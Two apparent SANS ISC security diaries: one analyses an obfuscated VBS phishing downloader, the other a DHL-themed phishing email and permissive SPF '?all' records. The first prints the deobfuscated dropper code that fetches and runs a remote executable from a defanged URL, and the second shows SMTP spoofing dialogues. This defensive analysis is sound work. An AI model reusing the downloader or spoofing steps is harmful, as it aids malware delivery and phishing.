Let’s have a look at a VBS sample found yesterday. It started as usual with a phishing email that contained a link to a malicious ZIP archive. This technique is more and more common to deliver the first stage via a URL because it reduces the risk to have the first file blocked by classic security controls. The link was:

hxxp://weddingcardexpress[.]com/ext/modules/payment/moneybookers/logos/docs/8209039094.zip

The downloaded file is saved as JVC_53668.zip (SHA256: 9bf040f912fce08fd5b05dcff9ee31d05ade531eb932c767a5a532cc2643ea61) has a VT score of 1/56[1].

The archive contains a VBS script called JVC_53668.vbs (SHA256:f894030285d5a577bf970692c2e7096137460802348ee71b5198497c2d603ce1) and unknown on VT at the redaction time of this diary. What looks strange in the size of the file: 3.8MB! The file is indeed heavily poluted with many very long comment lines. Once cleaned up, the size is reduced to 159KB. Having a big file is also interesting for an attacker because some security controls do not scan or process files above a certain size for performance reasons.

The code is also obfuscated via many mathematical expressions:

ddvA = Mid(otQh, 451 - 386 + 2 - 303 + 24 - 12 + 19 - 14 + 21 + 433 - 230, 281 + 212 - 325 + 4 + 444 - 10 - 153 - 19 - 482 - 158 - 466 + 11 + 12 - 433 + 1084)
jqCe = 471 - 23 + 245 - 274 - 285 - 2 + 391 + 21 + 25 - 16 - 15 + 4 - 434 + 13 + 578
isW = CInt(ddvA)
tztf = 162 + 19 - 277 - 3 + 22 - 16 + 235 - 7 + 5 - 2 - 7 + 438 + 11 - 24 - 445 + 527
uox = FQE and tztf
wMs = Asc(Mid(InP, isW, 216 - 437 - 21 + 427 + 20 - 226 - 122 - 21 - 315 - 15 - 119 + 333 + 281))
CBTl = 411 - 142 - 131 + 8 - 12 - 11 + 13 + 25 + 13 - 397 - 7 + 9 + 960
KWZM = Sqr(amYG)
ddvA = Mid(otQh, 327 + 165 + 11 - 376 - 486 + 14 + 152 + 438 - 475 - 466 - 22 + 494 - 2 - 112 - 24 - 310 + 678, 194 + 119 - 151 - 351 + 14 + 14 + 328 + 9 + 466 + 6 - 286 + 150 - 510)
Pts = 317 + 11 + 23 + 13 - 359 + 159 + 23 - 4 - 311 - 9 + 659

But, it’s not difficult to spot the most interesting part of the code. There is the following line is present close to the file end:

eXEcUTegLObAL kpYE

ExecuteGlobal[2] is used in VBS like IEX in PowerShell. The code passed as an argument will be executed in the context of the script. Let’s have a look at the 'kpYE' variable:

kpYE = UkX(zANa, PChk)

UkX() is the only function present in the script. Here is a beautified version:

function UkX(VSqz, kdH)
    On Error Resume Next
    MRgD = VSqz
    Pts = Xear * cTln
    qaux = LoKu - jqCe
    XqIc = DJlE * LoKu
    whhI = ""
    Xear = AYwV and qaux
    jqCe = Sgn(Pts)
    OaT = ""
    vDI = 480 + 319 + 4 + 19 - 285 + 327 - 25 + 109 + 453 + 11 - 22 + 2 - 306 - 478
    FBD = 279 + 260 + 202 + 270 + 399 - 348 - 173 + 20 + 14 - 922
    JNHe = 377 + 9 + 309 + 351 - 152 - 12 - 9 - 289 + 111
    Xear = 159 + 6 - 14 + 18 - 249 + 392 - 191 - 25 - 20 + 454 - 7 + 468 + 333 + 335 - 21 - 926
    for i=215 + 193 - 4 - 394 + 111 + 3 + 364 - 24 + 15 - 25 + 272 - 12 + 19 - 129 - 328 - 275 to len(MRgD)
        KWZM = 348 - 9 - 463 - 16 - 305 + 154 - 255 + 493 + 240 + 441 - 8 - 23 - 116 + 132 + 22 - 41
        gmJg = cTln + DJlE
        if ( asc(mid(MRgD, i, 481 - 10 + 154 + 103 - 469 - 19 - 433 - 13 + 207)) > 276 - 269 - 21 - 4 + 497 - 383 - 163 + 330 + 352 - 568 and asc(mid(MRgD, i, 417 - 3 - 445 + 498 + 4 + 20 + 215 + 489 + 7 + 14 - 1215)) < 130 + 15 + 144 - 4 + 10 + 109 - 364 - 380 + 398 ) then
            qaux = gmJg and XqIc
            AYwV = 410 - 115 - 273 - 129 + 499 - 3 + 150 + 2 - 32
            whhI = whhI + mid(MRgD, i, 302 - 223 + 112 - 372 + 25 - 345 - 11 - 202 + 715)
            JNHe = JNHe and tztf
            FBD = 452 + 8 - 21 - 23 - 156 - 24 + 10 - 375 + 130
            LoKu = 240 + 492 - 11 - 482 + 391 + 15 - 451 - 2 - 7 + 21 + 475
            AYwV = vDI / tztf
            FQE = EkB and tztf
        else
            AYwV = Log(EkB)
            Pts = Exp(CBTl)
            fEt = Exp(cTln)
            if FBD = 391 + 340 + 7 + 106 - 413 - 256 + 13 + 18 + 226 - 7 - 18 - 430 + 203 + 19 - 119 - 79 then
                fEt = 482 + 11 + 7 - 17 - 188 + 18 + 3 - 500 + 443 - 10 + 223 - 363 + 391 + 440 - 7 - 179 - 106
                LoKu = 160 - 147 - 335 - 167 - 21 + 21 - 6 + 2 - 342 + 1458
                FQE = gmJg + mpuU
                xba = CInt(whhI)
                UIh = xba xor kdH
                OaT = OaT + Chr(UIh)
                AYwV = 165 - 18 + 366 - 15 - 16 + 17 - 19 + 9 - 4 + 17 + 14 + 379 - 17 - 425 + 201
            end if
            vDI = 363 - 385 + 188 + 182 + 425 - 11 - 144 - 269 + 187 + 14 + 95
            LoKu = AYwV - Xear
            whhI = ""
            tztf = XqIc + gmJg
            HMTs = 240 - 11 + 304 + 382 + 299 + 195 - 10 + 395 + 12 + 20 + 11 - 2 - 186 - 215 + 373 - 151 - 940
            LoKu = Pts * KWZM
            FBD = 491 - 24 + 8 - 440 - 20 + 16 - 21 - 12 - 13 + 383 - 368
            FQE = CBTl / JNHe
            KWZM = EkB and mpuU
        end if
        CBTl = EkB * tztf
    next
    UkX = OaT
    uox = mpuU or DJlE
    qaux = 334 - 25 + 15 + 372 + 388 - 25 + 10 - 17 - 101 - 353 + 248 + 469 - 11 - 733
    jqCe = 355 + 8 - 2 - 12 + 12 - 24 - 20 + 116 + 245
end function

The variable 'zANa' is a very long string:

zANa = "113X113Cv{fR100.    Q49Z$52?107Mo$|53)CgT113    PTx112!%aD{b21Cc<rRu49Bd}UD27aQ30{Wz!36-v122}zaq125v6,(c*7Z:nyFV115zGb:M114/*BE53xLm126MI!D122od22d25K-    *k34&?&W110XE122^uf112v+!l45lN;32yZc&S121;51<YmW-14P11o&CQE.110q:&:e10)u<SXV107QdP 121/112^Op}<Z17qXhP<[email protected][50)xWKZr8vqfYjy102e29o(T^V{119D113)bbQ}113< [email protected] 49X=Q59_!|121rh K122MD 121XK13d^V}47Ny*61tEcb49*124q!:120[(Dodk1.%XFH:96y,L~Rg15<l{24,h 121p112mE38p24Y^)_wj1VHw38?22n!ii 121 127=oV]SP65Z121;ViE125(50$)R27C+?60}Y7ogC45s14|[email protected]}    b36TKlZ24S^e*P45v    V^121=120l123k;twd101EM16d121f     B|    120Qr=fNI120s:#cX36;:    41~j65T!$Oh33([121Mt120d*rOQ123d27)hlf^0#*53f[%$s43p44zo*108hJM121Jh125    :x}[!46]/_$123pp[P~126~Iqxn51 .R!g113+126&K*-E39S]d
...
..."

As a security analyst, when I have to dive into malicious code, my goal is to understand as fast as possible if the code is malicious (most of the time, it is) but also what are the next actions and how to extract useful information to share with other teams to protect the organization (ex: sharing IOC’s)

I don’t have to spend time to understand how the function UkX() works. Just by having a look at the arguments, we can guess that it just decodes a string (arg1) with a key (arg2). Let’s execute the script in a sandbox but replace the ExecuteGlobal() function with WScript.Echo() to print the decoded content:

Here is the code for better readability:

on error resume next
arr=split(KPH,"___")
set a=WScript.CreateObject(arr(0))
set b=WScript.CreateObject(arr(1))
f=a.ExpandEnvironmentStrings(arr(2))&arr(3)
set c=a.CreateShortcut(f)
c.TargetPath=arr(4)
c.Save
if b.FileExists(f)=false Then
    e=a.ExpandEnvironmentStrings(arr(2))&arr(5)
    Call u
    sub u
        set d=createobject(arr(6))
        set w=createobject(arr(7))
        d.Open arr(8),arr(9),False
        d.setRequestHeader arr(10),arr(11)
        d.Send
        with w
            .type=1
            .open
            .write d.responseBody
            .savetofile e,2
        end with
    end sub
    WScript.Sleep 60000
    a.Exec(e)
end if

This code uses an array (arr) that is created via a call to split() at the beginning. Let’s apply the same technique and re-execute the script with a "Wscript.echo KPH”:

The decoded & split array is:

WScript.Shell
Scripting.FileSystemObject
%TEMP%
\x.url
an
\VideoBoost.exe
MSXML2.ServerXMLHTTP.6.0
Adodb.Stream
GET
hxxp://baytk-ksa[.]com/devenv/vendor/laravelcollective/html/src/qrz/asgdyasgfyfdd.png?bg=spx24
User-Agent
lex

We understand now that the second stage is downloaded from the above URL and dumped on disk as “VideoBoost.exe”. The PE file (SHA256:c91c4c5b3452147ae2dcd20c1fa33efe2c1f393443915b88cdcbd67909c46062) received a score of 7/70 on VT[3].

[1] https://www.virustotal.com/gui/file/9bf040f912fce08fd5b05dcff9ee31d05ade531eb932c767a5a532cc2643ea61/detection
[2] https://ss64.com/vb/execute.html
[3] https://www.virustotal.com/gui/file/c91c4c5b3452147ae2dcd20c1fa33efe2c1f393443915b88cdcbd67909c46062/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 

On Monday, I found what looked like a run-of-the-mill phishing e-mail in my malware quarantine. The "hook" it used was quite a common one – it was a fake DHL delivery notification inserted as an image into the body of the e-mail in an attempt to make user open its attachments.

Phishing body

 

There were two attachments (see hashes bellow). RTF file masquerading as a Word Document ("SHIPPING DOCUMENT..doc"), which tried to exploit the famous %%cve:2017-11882%% vulnerability in Equation Editor used by Microsoft Office[1]. The second was an ACE archive ("INVOICE & AWB..ace"), containing a malicious executable ("mk.exe"). Although the executable was kind of interesting – it was an info stealer using Delphi packer[2] – the phishing turned out to be notable for a different reason. The spoofed sender domain had a Sender Policy Framework (SPF)[3,4] record set.
That, by itself, might not be that surprising – contrary to popular belief, setting a SPF record for a domain doesn’t mean that it will be impossible to use the domain in spoofed e-mail messages. Basically, SPF checks themselves cover only the "MAIL FROM" address (i.e. whether the sending server may send e-mails for the domain used in the "MAIL FROM" address) but don’t deal with contents of a "From" field in the e-mail header. This means that the following spoofing attempt will fail, providing that a SPF record for the "sender.tld" domain is correctly set.

HELO sender.tld
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
From: "Sender" <[email protected]>
To: "Receiver" <[email protected]>
Date: Thu, 17 October 2019 10:15:00 +0100
Subject: Phishing?

 

However even with SPF record correctly set for the sender.tld domain, the following attempt at spoofing will pass SPF checks if the non-spf-domain.tld doesn’t have such record as well (although that doesn’t mean the spoofed e-mail won’t be blocked by some other security mechanism):

HELO non-spf-domain.tld
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
From: "Sender" <[email protected]>
To: "Receiver" <[email protected]>
Date: Thu, 17 October 2019 10:15:00 +0100
Subject: Phishing?

 

Due to its simplicity and effectiveness (to a user, sender seems to be the address in the "From" header of the message, not the address which was specified in "MAIL FROM"), this technique is often used by phishing authors when they send spoofed e-mail messages.
One could therefore expect that the same technique was used in the case of our e-mail, however this was not the case.

The sender appears to be [email protected] and if we take a look at the headers, we’ll see that the same e-mail was used as the "MAIL FROM" address. We may also discover that although a SPF check took place, it ended in "Neutral" result. This means that the SPF record doesn’t state whether the sending IP is or is not authorized to send e-mails for the domain.

SPF check

To understand the last line of the header and the reason for the result, one only needs to know that SPF enables us to use qualifiers to specify from which hosts should e-mails be accepted/passed (+), from which hosts they should be dropped/failed (-), from which they should be marked as suspicious/softfailed (~) and for which hosts the policy isn’t specified (?). The record for shipping.com which we see above therefore basically specifies that several servers are permitted to send e-mails for the domain and for all others may do so as well. Benefits of such SPF records are disputable at best.
Although it is not too usual to see such records and related phishing e-mails, this was not the first time I’ve come across such a case… And after having a look at the Alexa top 100 domains and finding two cases of SPF records containing "?all" even there, it seems that these are actually more common than one might think.
If you use such a SPF record on any of your domains, consider whether the more traditional "~all" or "-all" really isn’t an option for you.
And if you don’t have SPF set up yet, please do so – it will take you only a minute (all you need to do is create a new DNS TXT record) and although it’s not a silver bullet against phishing, it definitely won't hurt.

SHIPPING DOCUMENT..doc
MD5 - bc759db68c1f1611745216a4e0431201
SHA1 - 22e77a3ee9acc597500dbda6a82b7bd2d13d50b7

INVOICE & AWB..ace
MD5 - 673e823b66bce777f37377bd4aa07f71
SHA1 - 73f7a10fefa04432b18d9af9d4c774ecca815d5c

mk.exe
MD5 - 3c9aa414308ec74eb24b30875c755241
SHA1 - 06fba1adac357a7d338cc3a9a7eb2c68282d260b


[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
[2] https://www.fireeye.com/blog/threat-research/2018/09/increased-use-of-delphi-packer-to-evade-malware-classification.html
[3] https://tools.ietf.org/html/rfc4408
[4] https://tools.ietf.org/html/rfc7208

-----------
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 
Internet Storm Center Infocon Status